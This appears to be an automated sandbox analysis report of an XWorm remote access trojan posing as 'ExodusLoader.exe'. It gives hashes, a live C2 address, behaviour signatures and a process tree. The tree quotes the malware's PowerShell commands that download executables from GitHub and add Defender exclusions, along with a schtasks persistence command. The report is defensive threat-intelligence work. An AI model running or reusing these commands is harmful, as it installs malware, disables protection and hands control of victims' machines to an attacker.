Analysis

  • max time kernel
    97s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/03/2025, 03:46

General

  • Target

    ExodusLoader.exe

  • Size

    89KB

  • MD5

    2f3405fa61bec944ed9d869adb6a37e3

  • SHA1

    4a3c839b899809ba89a99eaadecf4da6d71e8256

  • SHA256

    ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234

  • SHA512

    72c8309a2c439adb3790aaf7198d5cdfa5591703a039ca84982752dfc43213a94885aab5a82fc0cfd78e161a792d2c1684e0cae7e4e7d772cc98be4aabdc33c0

  • SSDEEP

    1536:77fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAwWOn:X7DhdC6kzWypvaQ0FxyNTBfAg

Malware Config

Extracted

Family

xworm

Version

5.0

C2

137.184.74.73:5000

Mutex

Y2rnj2CSRObOXXLb

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    System.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe
    "C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4140
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\21FA.tmp\21FB.tmp\21FC.bat C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe'"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Exodus.exe'"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:220
      • C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe
        "C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4848
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\AggregatorHost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AggregatorHost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4552
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5530.tmp.bat""
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2556
          • C:\Windows\system32\timeout.exe
            timeout 3
            5⤵
            • Delays execution with timeout.exe
            PID:1432
      • C:\Users\Admin\AppData\Local\Temp\Exodus.exe
        "C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
        3⤵
        • Executes dropped EXE
        PID:4752
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1000
  • C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
    C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2180
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\ProgramData\System.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2428
  • C:\ProgramData\System.exe
    C:\ProgramData\System.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2012
  • C:\ProgramData\System.exe
    C:\ProgramData\System.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:4692

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\System.exe.log

    Filesize

    1KB

    MD5

    c952c967a6c1013f7155cc3efed8cd03

    SHA1

    dc5bbab6c51387ee4d9863415a196e297457d045

    SHA256

    f825024aeb196af7aa49d77dccfae841aa55f9fef1c1f6f8f1e0c61032f8be12

    SHA512

    8126ef222f9ed0f332f56b8754ed24845fc03fadcbe61bf6d82e07da81b143e120ce82be14e59dc98b460e399563e8461bf0925089a71008af58b3acd6d6afef

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    08f9f3eb63ff567d1ee2a25e9bbf18f0

    SHA1

    6bf06056d1bb14c183490caf950e29ac9d73643a

    SHA256

    82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

    SHA512

    425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    e2841e1fc992a138882fcf54da655680

    SHA1

    133a573d2e4f9d785846fbad5601a470ef530ef3

    SHA256

    1546cb6b7393d7461435e1e3d209187182fe3956a1617396315ac32e2c5643aa

    SHA512

    2ce866af65aacfe1636ff618c0df9d6b89dc20f5d86506f5674f0030a5c0848162478630aceb262b624c025acffb162537abeed32ceef8060a7c8986280e102d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    6fc4344466f226c5c34911902c2da322

    SHA1

    a978b32a1b8be065212a8d4783971ba5a03d8592

    SHA256

    86df6ada7287842923c94383bf75741a9899208b18ac2e39093163ae5f614b5e

    SHA512

    bf2e4e6f3f5e48960f9cca9f397c20e86ab7f407322b6bbdb24204bc0bbd722a6a58385daa7d2972f8cbc1cf13aaee49dec206359a5292050bb4a468d60946ee

  • C:\Users\Admin\AppData\Local\Temp\21FA.tmp\21FB.tmp\21FC.bat

    Filesize

    491B

    MD5

    54436d8e8995d677f8732385734718bc

    SHA1

    246137700bee34238352177b56fa1c0f674a6d0b

    SHA256

    20c5e5f392f2ad19b9397fd074d117c87ca3da37f1151736dbd20322ea7e12c3

    SHA512

    57ffc0f920bbaf36bbd22ea90c14670f44766e4b81509f54b1dec1be4443e51d8bf0997198de0851e1ea4993e5d786e21c9c1f7f17c792da88eb6bb4a324f448

  • C:\Users\Admin\AppData\Local\Temp\Exodus.exe

    Filesize

    507KB

    MD5

    470ccdab5d7da8aafc11490e4c71e612

    SHA1

    bc540c0ba7dcb0405a7b6c775f0a1b585d51c4b3

    SHA256

    849c0420722c1dabb927ff0ab70375bc1197ba73a7f04885460b609392bd319c

    SHA512

    6b3a09b785c02a57f6330cd6610f8a78b1f6a1689c14a190a9af4ad4ab4666f8a77d75c4c85a3af04693effdc970440ce8d62a4132f66471aaa250f9d90f2f7b

  • C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe

    Filesize

    227KB

    MD5

    38b7704d2b199559ada166401f1d51c1

    SHA1

    3376eec35cd4616ba8127b976a8667e7a0aac87d

    SHA256

    153825af8babb75361f4af359bfdd5e95cbdc7f263db5c4e70ac1da8f36bc564

    SHA512

    07b828073c8f80c5498501c8f64decb5effa702c8bc3d60a2f7d5de36d493b469cbbf413fb0c92c0aadd6ee139bfb75f3b9e936230212d42e57d2ec5671e9b27

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_twu14ghl.lih.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmp5530.tmp.bat

    Filesize

    164B

    MD5

    b8b9f03f4a314f841844da9262e1e525

    SHA1

    c5bd1e5ff0cc4afe28ba191660795fe312672d4f

    SHA256

    8481442619fa35f1c89215de6c68f77e8c1f8fe3817d0d5614ef8b02d7683dc8

    SHA512

    9ff66133d730723601ae26231482020fc4f7474adf10659409a4f94cd2e880a418133c8b07f9d6d234432f92239d41d3e9f6453adf97f6c405093da4969d8e84

  • memory/220-20-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

    Filesize

    10.8MB

  • memory/220-30-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

    Filesize

    10.8MB

  • memory/220-31-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

    Filesize

    10.8MB

  • memory/220-35-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

    Filesize

    10.8MB

  • memory/1284-14-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

    Filesize

    10.8MB

  • memory/1284-18-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

    Filesize

    10.8MB

  • memory/1284-13-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

    Filesize

    10.8MB

  • memory/1284-8-0x00000275E3A50000-0x00000275E3A72000-memory.dmp

    Filesize

    136KB

  • memory/1284-2-0x00007FFAA1BA3000-0x00007FFAA1BA5000-memory.dmp

    Filesize

    8KB

  • memory/2180-72-0x0000000000AA0000-0x0000000000AAE000-memory.dmp

    Filesize

    56KB

  • memory/4848-41-0x0000000000770000-0x00000000007B0000-memory.dmp

    Filesize

    256KB